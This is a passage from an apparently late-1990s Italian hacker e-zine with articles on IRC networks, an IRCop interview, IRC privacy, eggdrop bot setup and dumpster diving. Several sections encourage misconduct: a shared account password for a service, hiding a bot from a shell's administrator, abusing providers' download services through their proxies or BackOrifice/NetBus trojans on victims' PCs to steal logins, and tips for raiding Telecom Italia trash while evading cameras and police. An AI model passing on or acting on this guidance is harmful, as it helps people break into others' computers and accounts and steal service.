personale: un server irc per linux si chiama IRCD, ossia IRC Daemon?), basato su dei bot gi… inseriti e programmati per stare sui canali, registrare nick cos• da evitare fakes, lasciare promemoria ecc (sono quasi le stesse funzioni che ha un Eggdrop). Questi bot si chiamano ChanServ, NickServ, MemoServ ecc. Potrete trovare un articolo molto completo su NewBies 2, riguardante la sintassi di tutti i comandi ecc. Sebbene l'articolo parlasse solo di AzzurraNet, sappiate che tra Dalnet e AzzurraNet cambia pochissimo, se non niente. Passiamo adesso ad Undernet, che conosco molto bene. Il server Š basato sulla coppia X/W. Questi sono due bot, per• molto pi— complessi della controparte di Dalnet. Infatti sono SEMPRE presenti su tutti i canali della rete, e gestiscono tutte le liste degli op, dei ban e cos• via. Su Undernet ci sono due categorie di user: i registrati e i non registrati: i primi a loro volta si differenziano per livello; questo Š un numero che va da 500 a 1. La registrazione si ottiene relativamente ad un canale, perci• posso essere 500 di #amici ma 1 di #italia. I poteri che si hanno dipendono proprio dal livello: infatti quelli con il level alto possono eseguire pi— comandi attraverso i bot. Infatti Š possibile bannare oppare ecc. come su ircnet, ma un ban attraverso X/W sar… inpossibile da rimuovere. Se io 500 banno uno che sta simpatico al 100, il 100 dovr… arrendersi, visto che appena toglie il ban ci pensa X/W a rimetterlo. Gli utenti non registrati invece non possono fare quasi un cazzo, tranne che poche cose come la mappa dei server e altro. Gli IRCop di Undernet sono molto ma molto pi— potenti di quelli di IRCnet: infatti possono fare diverse cose, fra cui togliere X/W da un canale. Perci• stateci attenti, possono essere letali. Ahhhhhh finito! Adesso mi vado a smokare una bella Merit, poi gioco un po' a Baldur's Gate, mi sento un po' di musica e tutto questo in barba ai compiti visto che domani ci sta assemblea d'istituto... SpYmAsTeR [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ INTERVISTA CON UN IRCOP ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ E anke stavolta arriva lo sk00p! Il vostro giornalista d'assalto preferito Š riuscito ad intervistare un IRCop! Inkredibile! Dopo aver sekkato per giorni e giorni un IRCop, ke non mi ha mai risposto, kon l'aiuto di un mio grandissimo amico (ciao Ard!) ke mi ha dato il nick dell'IRCop ke ho intervistato, sono riuscito a kiedergli delle kose ke assillano tutti da tempo immemore! Godetevi l'intervista (putroppo poko lunga, ma devo ankora kiamare in query un altro IRCop :)! Nota: l'IRCop in kuestione mi ha kiesto di poter rimanere anonimo, e perci• ho sostituito il suo nick kon tante X...inoltre ho rimaneggiato il log sotto il punto di vista grafiko e ortografiko...e tutto kuesto solo per voi Newbies! -----------------------------------INIZIO------------------------------------<SpYmAsTeR> Ciao! <SpYmAsTeR> Io lavoro per NewBies, una rivista on-line che tratta argomenti che sono sconosciuti ai pi—...insomma siamo una specie di guida italiana per i newbies appunto... <SpYmAsTeR> e mi hanno chiesto di intervistare un IRCop <SpYmAsTeR> tu sei disponibile? <XXXXXXXXX> se e' una cosa veloce si' <SpYmAsTeR> Ok, vedr• di moderarmi :) <SpYmAsTeR> Allora domanda 1 <SpYmAsTeR> Voi lavorate gratis, o venite pagati? <XXXXXXXXX> Gli ircop in genere lavorano per passione, non per soldi... <SpYmAsTeR> 2) Ma per diventare ircop avete passato un esame o cose simili? Voglio dire, esiste un corso, non so? <XXXXXXXXX> No, non c'e' tirocinio... <XXXXXXXXX> Chi amministra un server <XXXXXXXXX> da lo status di ircop a persone di sua fiducia <XXXXXXXXX> o a colleghi o simili <SpYmAsTeR> 3) in quali occasioni intervenite con il cambio dei modi dall'esterno, con le k-line, i kill ecc.? <XXXXXXXXX> modi dall'esterno? <SpYmAsTeR> beh, io ho un wircsrv e da ircop posso cambiare i modi di un chan dall'esterno! <XXXXXXXXX> Sul tipo di server usato in ircnet un ircop pu• solo <XXXXXXXXX> killare, mettere K-line se ha accesso ai file di configurazione linkare o slinkare un server... <XXXXXXXXX> nient'altro...(hai detto niente! ndSpY) <XXXXXXXXX> e sono tutte operazioni che svolge a sua discrezione <XXXXXXXXX> e' chiaro che se uno slinka mezza rete non rimane ircop per molto... <SpYmAsTeR> ok, vista la tua fretta penso che altre domande rilevanti non ci siano, al limite posso ricontattarti se mi viene in mente qualcosa? <SpYmAsTeR> magari quando hai + tempo, non so... <XXXXXXXXX> si' certo <SpYmAsTeR> ok, ti ringrazio moltissimo, mi sei stato di grandissimo aiuto, a risentirci al + presto! :) <XXXXXXXXX> ciao :) ------------------------------------FINE-------------------------------------SpYmAsTeR [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ IRC SECURITY ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Irc, come tutti noi sappiamo, Š forse una delle pi— belle cose che si possono fare su Internet. Per• IRC non Š propriamente il luogo pi— sicuro del mondo. Infatti oltre ad essere possibile la visione del vostro IP (fakabili cmq grazie ai sock firewall, grazie alle shell che permettono ircII ecc.), TUTTO ci• che dite ai vostri amici di turno su greenZ, hackZ, crackZ ecc. viene loggato sul server irc. Se per un qualunque motivo la polizia dovesse beccarvi che parlate di un verde appena scoperto e vi date le password, potrebbero pure arrestarvi. Dis not g00d. La soluzione a ci• l'ha inventata il caro Khaled Mardam Bey (coder del mIRC), infatti ha usato il DCC (Direct Client Connection). Cos• gli Ircop non vi loggano e potete dire quello che vi pare... A questo punto i veri newbies si chiederanno: "ma perch‚ se io uso una query non sono in privato con quello l…, non mi possono loggare". E invece si, per il motivo che mi appresto a spiegarvi. Una volta connessi al server IRC il vostro client manda una serie di comandi al server: il comando per parlare e' PRIVMSG #canale :<messaggio> In pratica mandate un messaggio a quel canale. E per una query si adopera lo stesso comando, solo che al posto del canale si mette un nick. Questo significa che la finestra di query Š solo una comodit… del vostro client. In realt… una query Š esattamente come un canale. E tutto ci• che sendate con PRIVMSG Š loggato dal server. Una DCC non si appoggia su PRIVMSG, ma solo sul client utilizzato (mIRC, vIRC, pIRCh o quello che diavolo avete). Perci• ragazzi, prima di dire cose che non convengono su un chan o in query, pensateci tre volte come minimo. Ok? ;) SpYmAsTeR [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ <-<-[ NonSoloKick PasswordZ ]->-> ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Veloce veloce da leccarsi le orecchie: in molti mi hanno chiesto delle pass per NonSoloKick, dato che i bastardoni non registrano se non dopo secoli beccatevi sto bell'account. Divertitevi e non usatelo in troppi, senn• si insospettiscono... username: city hunter347 password: S2IiHqV0h5 mi raccomando nella pass rispettate le maiuscole e le minuscole altrimenti non funzia... 1-v-n0-n4m3 sPERO x vOI cHE nON pENSIATE cHE sIA uN nICK vERO !!! cOSA nON sI fAREBBE pER mANTENERE l'aNONIMATO !!!!!!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ IL PUNTO SU IRC ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Solo 2 righe per riassumere i primi mesi dell'anno su irc : molti take , cambi di gestione di canali e tentativi di take non riusciti . Vicenza dopo un mese in mano ai reflective e' tornata purtroppo ai Bad Karma, unica nota positiva non e' +i ;) #hackers.it e #hacker.it hanno avuto un brutto periodo , e #warezitalia non se la sta certo spassando visti i take di BlackLion e L^Angelo ecc. #calcio e' stato finalmente sostituito e #italia pare sia stao sotto take per un quarto d'ora ... cosa non sicura ... #phreak.it e' da molto tempo opless dopo una breve parentesi di Yakuza e dei suoi 15 bot sulla stessa shell :) #tgm e' stata bombardata da tentativi di take ( soprattutto lamerate ) Infine segnalo irc.azzurra.it #emuita e #gamez.it che io non frequento ma e' un server tranquillo ... Ci si sente ... by TetoFuck ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ GUIDA PRATICA AL SETTAGGIO DI UN BOT ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Come si dice ??? Una BOTta e Via !!!! Ia PartE Ovvero: la guida pratica al settaggio di un bot E cosi' ci ritroviamo una volta ancora su questa e-zine....stavolta vi spieghero' come fare per settare un bot e sopratuttodi cosa avete bisogno.....Per prima cosa vorrei specificare che tutto quello che hoimparato e che scrivero' in questo articu'lo, l'ho appreso da unfantastico Tut passatomi da un amico proprio in IRC di cuipero' malauguratamente non ricordo il nome :(Ho cercato di fondere il mio sapere con il vecchio tut. edi semplificare alcune parti che sembravano troppo pesanti....La spiegazione e' lunga e complessa quindi i Lamer che voglionodemordere lo facciano ora o mai + !!!!Prima cosa l'ispirazione.......bene l'ispirazione quest'oggi mi e' data dalla mia girl in IRCVale_ria che penso sia il sogno di ogni Hacker....... Botting requirement : 1- "aShell" (che non puzzi possibilmente hihihihi) 2- Eggdrop (vi parlero' della versione 1.1.5) Per quanto riguarda la shell ci sono tanti metodi per ottenerla...comprarla ....ottenerla dal provider.....tradarla....oppure naturalmenteHacKarla !!!. Per l'eggdrop invece la cosa e' + semplice perche'lo trovate in rete.... Supponiamo di avere una shell e di esserci scaricati l'eggdrop...cosa fare ora ????Bhe...controlliamo se la shell e' eggdroppabile....basta lanciareil comando "tclsh" nella shelluzza per controllare se sono inseritele librerie TCL....se ci sono comparira' un prompt da cui usciretelanciando un semplice "exit"...se non ci sono invece dovretescaricarvele da questo sito ftp://ftp.scriptics.com/pub/tcl/ e poiUploadarle sulla vostra ashell.Adesso avete le librerie TCL e subito provvederete a uploadarenella vostra "Ashell" l'eggdrop 1.1.5 .Dato che nella stramaggioranza dei casi l'egg e' compressolo dovrete decomprimere ed in seguito compilare :Esempio pratico step by step:Il file si chiama eggdrop1_1_5.tar.gz1-lo decomprimete con il comando "tar -xzvf eggdrop1_1_5.tar.gz"2-con la decompressione avrete creato una dir dal nome eggdrop1_1_5 che provvederete subito a rinominare (non vorrete mica che l'adm.del server in cui avete la shell se ne accorga cosi' facilmente ??) 3-Entrate nella directory "cd nome_nuova_dir"4-Fate partire il comando "./configure" ed "./make eggdrop".Avrete ora compilato l'egg e provvederete tramite il comando "putegg nome_dir" a mettere gli eseguibili in un'altra dir(questo solo per il miglior funzionamento del bot).Non vi resta nient'altro che editare il file di configuarzione(eggdrop.conf) ed in seguito far partire il bot con il comando"eggdrop -m eggdrop.conf" dove -m viene utilizzato solo al primoavvio del bot. Dante Alighieri ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°² ²°°°°°°°°°ÛÛ°°ÛÛ°°°°°ÛÛÛÛ°°°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°² ²°°°°°°°°°ÛÛÛÛÛÛ°°°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°°°°°°°°² ²°°°°°°°°°ÛÛ°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°°°°°°°² ²°°°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ LO CHIAMAVANO GUEST-STAR ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Premessuola: chi mi conosce lo sa, oltre che non essere carabbiniere =) non c'ho mai voglia di fare un cazzo, figuriamoci scrivere articoli =) Ma siccome mi hanno inchiodato, del tipo su IRC: <XXXX> fai un articolo x la ezine Newbies ? <Cavallo> vabbe' se trovo il tempo vi faccio un articolo [il giorno dopo] <YYYY> allora mi hanno detto che scriverai x Newbies <Cavallo> cazz come giran le voci.. =)) Inizio a pensare di essere una specie di guest-star invitata per sponsorizzare la e-zine, tant'e' che mi fanno : <ZZZZ> pure amme lo han chiesto :) <ZZZZ> pero ho rifiutato <....> <ZZZZ> pero se scrive uno come te allora gli scrivo pure io :)) Vabbe' basta aprire parentesi che mi pare di essere Trapattoni, il lettore si domandera' di che cazzo parla sto articolo, e me lo domando anche io =) Siccome pensare costa, sbattersi anche, le calorie servono e del maiale (non pigpen =)) non si butta via mai nulla, facciamo un articolo su... ---------------------------------> FTPBATCH <------------------------------Ooooooo dira' chi non sa cos'e' Buuuuuu dira' chi sa cos'e' MooooooNeeeeeCistaffe'naBuatt'i'Marmellet direbbe Frengo se fosse tra di noi Allora in Goldoni, l'FTPBATCH e' quel servizio che permette di far scaricare al proprio provider i file che ci interessano, facendoli arrivare in un FTP piu' o meno pubblico dello stesso provider oppure direttamente in Mail. Questo servizio e' molto comodo in quanto se ci interessa un file bastardo porco su un sito .jp che viaggia a 0.001 k/giorno, noi facciamo la richiesta e il nostro caro provider ce lo scarica quando c'ha tempo colla sua banda. Altri nomi per il suddetto servizio sono FTPGet o Procedura Batch di download o procedura automatizzata di tua sorella in croce, c'e' chi lo chiama CARGO chi lo chiama Vaschetta che mi pare quella dove ci caga il cane vabbe' ci siamo capiti su cos'e' no ? La maggior parte dei provider seri ma ormai anche quelli meno seri danno questo servizio oserei dire "a valore aggiunto", da tin a mclink, da flashnet a salcazzonet passando per tutti i vari provider locali e non. The problem is that alcuni provider sono bastarduoli, fanno controlli in modo che il primo idiota che passa di li' non possa utilizzarlo, ma solo i loro amati utenti che hanno sborsato profumate lire per l'abbonamento, e noi come si fa allora ?? Di solito il check e' fatto a 2 livelli, il primo sull'ip da cui e' partita la richiesta, il secondo sulla mail della persona che fa la richiesta, a cui poi arrivera' una mail di conferma che il file e' effettivamente arrivato. Partiamo dall'ultimo, normalmente non e' molto difficile trovare lo username di qualcuno collegato ad un provider, o conoscendo qualcuno che lo usa, o via finger (per questo vi rimando al mio articolo su Bfi #2, evvai con un po' di sana pubblicita' =))) oppure semplicemente facendosi un giro sull'ftp dove arrivano i file richiesti colla procedura batch, dove potete di solito trovare dei file descrittivi con su scritto da dove viene il file e chi lo ha richiesto. L'ideale sarebbe usare l'email di uno che sapete che usa quel provider e che non capisce un cazzo di computer cosi' se gli arriva la mail di conferma che e' arrivato il file manco sa cosa vuol dire. Il problema forse piu' grosso e' quello dell'ip, perche' se ho un bell'ip tipo ppp.newbies.it come potro' mai essere ricosciuto dal provider www.stigrancazzi.it che ha come rete 192.192.66.* ?? NOTA : Il problema dell'ip in alcuni casi insorge solo nel fare la REQ del file, in altri casi senza appartenere al dominio allowed non si puo' manco accedere al ftp contenente i file scaricati via batch, in altri casi ancora se non erro viene richiesto login e password dell'utente, questo varia da provider a provider. Le alternative per ovviare a questo problema a mio avviso sono 2 : 1) utilizzo proxy 2) utilizzo trojan 1) Generalmente molti (quasi tutti) i provider hanno un proxy, per es. proxy.stigrancazzi.it su 80 o 8080, utilizzando questo proxy si appare come appartenenti al suddetto provider e quindi e' possibile fare tutto cio' che si vuole, nel senso di fare richiesta, accedere all'ftp etc... Alcuni provider bastardini xo' settano anche il proxy in modo che non possa essere usato se non si e' sul provider stesso, in modo che il proxy non venga sfruttato da gente estranea, in questo caso non ci passa un cazzo e non ci resta sperare che nel punto 2 2) Come il '97 e' stato l'anno delle Nuke, cosi' nel '98 hanno dominato i Troiani x rete, da BO a Netbus passando per gli altri meno conosciuti; non voglio perdere tempo spiegando come si usano, come si trovano, come si scanna etc.. visto che di troiani se ne e' gia' parlato qui e in altro loco, vediamo solo a cosa ci possono servire: con BO o con Netbus (2.x se non erro) e' possibile attivare un redirect,cioe' si pone in ascolto il pc-vittima su 1 porta voluta e si rigira tutto il traffico verso host:ip che ci interessa. In questo modo potremo raggiungere il www.stigrancazzi.it rimbalzando dal pc-vittima.stigrancazzi.it avendo quindi un ip accettato dal software di ftpbatch con nostra enorme soddisfazione. Vi sono invece altri casi in cui il controllo e' fatto a livello di login e password (e' il caso di McLink se non erro), ovvero il nostro un po' meno amato provider decide assolutamente di fare entrare SOLO i suoi utenti. Beh, ma dico io, chi ci vieta di recuperare login e password del suddetto provider ? Il caro BO e l'amico Netbus (oppure un qualsiasi portscanner) ci potranno dire quanti utenti del suddetto provider hanno avuto il <dis>piacere di fare la loro conoscenza, una volta che avete la password (per queste cose vi rimando al mio articolo su BFI4 e a quanto trovate sulla mia home page http://fly.to/cavallo [evvai ancora pubblicita' =)]) usate quelle x loggarvi sul ftp o x fare le richieste. Il controllo IP, controllo mail e controllo L/P possono venire applicati insieme, aumentando cosi' la difficolta' dell'utilizzo delle procedure automatizzate di download, c'e' da dire che se il provider non e' pirla e' difficile fare qualcosa, se non sperare nell'incompetenza degli utenti che lo utilizzano. Io fossi un un provider attiverei check su mail, ip e l/p, senza contare che attiverei il check ip anche sul proxy cosi' da evitare rigiri poco piacevoli; inoltre farei qualche documento per i propri utenti che spiega cosa sono i troiani e come si prendono e ogni tanto farei una scannata sui miei ip sulle porte classiche BO Netbus e affini cosi' da trovare altri eventuali clienti idioti, ma visto che al momento non lavoro per un provider, che dire, cazzi loro che si arrangino =)) NOTA : Non abusate di questa informazione, i provider potrebbero benissimo disattivare questo ottimo servizio e noi non lo vogliamo =) NOTA2 : Questa tecnica mi e' stata rivelata dalla SUN Microsystem in cambio della protezione dei loro sistemi, la rivelo a voi solo perche' alla SUN sono indietro coi pagamenti e io ho le rate del floppy disk da pagare e visto che Nobody88 mi ha promesso 1000 lire x il mio intervento mi vendo al miglior offerente. (Amici del Timone questa e' per voi, coglioni !! =)) (PS Chi non la capisce legga bfi-Natale98 e bfi5, chi non la capisce dopo averli letti non merita il mio rispetto) Direi che e' tutto, Cavallo de Cavallis ----------------------------------------------------------------------------[ Cavallo de Cavallis appears courtesy of S0ftPr0j3ct '99 ] [ http://fly.to/cavallo <-> [email protected] ] ----------------------------------------------------------------------------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TRASHING.. CHE PASSIONE! ³º º³ Come, quando e perch‚ fare trashing.. ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ DISCLA(i)MER Prima di leggere questo articolo, ci tengo a sottolineare che io non mi riterr• affatto responsabile per quello che ho scritto. Pertanto questo articolo Š solo a scopo informativo e se qualche d'uno (soprattutto lamer improvvisatisi phreakers) si fa cogliere con le mani nel sacco (eheheh :-))) sono fatti suoi per cui non interpellate il sottoscritto! ****************************************************************************** Tutto ci• che posso dirvi riguardo la stesura di questo articolo Š che: - ho ascoltato "Adore" degli Smashing Pumpkins (ovviamente su cd masterizzato :-P), "Post Orgasmic Chill" degli Skunk Anansie; - ho bevuto circa un litro di acqua naturale (per chi mi conosce Š strano, ma vero! =P); - tutto ad un tratto mi Š venuta in mente una cosa del tipo: <<Pensa a quando avrai pi— di 70 anni.. andrai a letto senza sapere se ti sveglierai o no il giorno dopo.. che pacco!!!!>>. Barzelletta: - Pronto, SIP? - NOP!!! :-P ****************************************************************************** A meno di un anno al 2000 la Trashing Italia (ehm, TeLeKkoM Italia) non ha ancora scoperto cosa sono e a cosa servono i distruggi-documenti, cos• tutta la documentazione riservata agli addetti ai lavori e contenenti informazioni riguardo gli utenti finiscono dentro quei simpatici sacchi neri della spazzatura che solitamente troviamo davanti alle centrali/sedi Telekkom. Probabilmente un normale passante li lascerebbe l• dove sono, ma non Š sempre cos•.. aha ahahah (risatina satanica ]:-)>. "Trashing", che tradotto significa "fare spazzatura" Š sempre stato una delle tante attivit… di un hacker ed Š ancora un'attivit… indispensabile per un serio phone phreaker. Per essere chiari, facendo trashing si cerca di recuperare i sacchi della spazzatura a cui facevo riferimento prima per venire a conoscenza di informazioni tecniche riservate ai soli operatori che vi lavorano all'interno (es. schemi elettrici) e quindi per capire i meccanismi di funzionamento delle cabine telefoniche o delle centrali telefoniche, per trovare info che fanno riferimento al sistema di numerazione dei vari distretti, greenz, ecc. (se c'Š anche spazzatura dell'ufficio vendite allora troverete anche contratti di allacciamento, ricevute di pagamenti di bollette, ecc.). Purtroppo non sempre si trova quello che ci si aspetterebbe e quindi potrebbe capitarvi tranquillamente di aprire un sacco e trovarci solo mozziconi di sigarette, scatolette di tonno, bottiglie di plastica o addirittura figurine della Barbie (come Š successo a Lord Destruction un po' di tempo fa :-D). L'importante Š non arrendersi subito, ma di continuare perch‚ i risultati sono garantiti! ;-) Se nella vostra citt… c'Š la raccolta differenziata della carta e materiale plastico, siete fortunati! Infatti, mentre nei sacchi neri potreste trovare di tutto, in quegli altri sicuramente troverete ci• che fa per voi dato che al loro interno vi Š solo carta (tra l'altro questi sacchi sono solitamente trasparenti). Per evitare di tornare a casa a mani vuote, un consiglio che posso darvi Š quello di prendere quasi sempre quelli per la raccolta differenziata dei rifiuti cos• sarete sicuri di trovare soltanto materiale cartaceo, ricco di preziose informazioni. Ma. Š reato fare trashing? Da come la penso io no, perch‚ se una persona "ruba" un sacco della spazzatura che Š sul ciglio della strada non pu• essere perseguito per legge dato che Š un rifiuto di cui il legittimo proprietario se ne Š liberato. Purtroppo questo non Š vero, perch‚ una volta abbandonato un sacco della spazzatura sul bordo della strada, diventa di propriet… del Comune il quale ha l'incarico di ritirarlo il giorno dopo e di smaltirlo nelle apposite discariche. Comunque penso che il reato sarebbe minimo e senza particolari ripercussioni sulla propria fedina penale (eeeeeee, addirittura!!!!). Per• la faccenda si complica un attimino (maledetto Ned Flanders :-D) se siete costretti ad entrare nell'apposita area della centrale o della sede Telekkom in cui viene gettata la spazzatura: okkio a non farvi beccare all'interno e al reato di "scasso" se c'Š bisogno di forzare serrature (in questo caso attenzione alle impronte digitali.). Ad essere sincero, non Š da molto che faccio trashing, ma mi permetto lo stesso di darvi qualche consiglio che potrebbe sempre servire: - in base alla posizione del luogo e alla quantit… di traffico che vi circola, valutate qual Š l'ora pi— adatta e tranquilla per entrare in azione.; - Š saggio non fare trashing sempre lo stesso giorno della settimana allo stesso orario; - fate attenzione a possibili telecamere a circuito chiuso che possono esserci l• intorno, dato che mi Š gi… capitato ti trovarne qualcuna; - non fate rumore; - se possibile, agite di notte e se quella zona Š sottoposta a controlli costanti da parte di polizia privata o di stato, portatevi qualcuno con voi che vi faccia da palo; - se per caso qualcuno vi coglie con le mani nel sacco (eheheheh :-)), mantenete la calma..: non c'Š niente di male se spostate sul marciapiedi un sacco che era in mezzo alla strada ;-); - state attenti infine anche da come vi vestite: Š importante non dare nell'occhio nŠ destare sospetto e soprattutto cercate di indossare indumenti che non portate solitamente. <<E ora che ho i sacchi, che faccio?>> Skappa, skappa! ;-D ma sempre senza dare nell'okkio.. meglio se puoi caricarli in una macchina bella capiente cos• rischi di meno: sai. non Š il massimo farsi notare da un passante alle due del mattino con un sacco della spazzatura imbraccio!!! :-P Una volta che siete al sicuro con i vostri sacchi, apriteli con calma e soddisfazione per quello che avete appena fatto. Iniziate a dividere tutto ci• che pu• sembrarvi utile o interessante e per i propri studi e per la comunit… underground (ricordate che l'unione fa la forza, per cui scannerizzate e diffondete tutto come meglio credete); gettate tutto ci• che non serve in un nuovo sacco, chiudetelo bene ed abbandonatelo (senza lasciarlo in mezzo alla strada :-)) in un luogo lontano da casa vostra e da dove avete prelevato il materiale in origine. ^.^ HarLoK ^.^ Gi… che ci sono, colgo l'occasione e ne approfitto per salutare - senza nessun particolare ordine alfabetico o 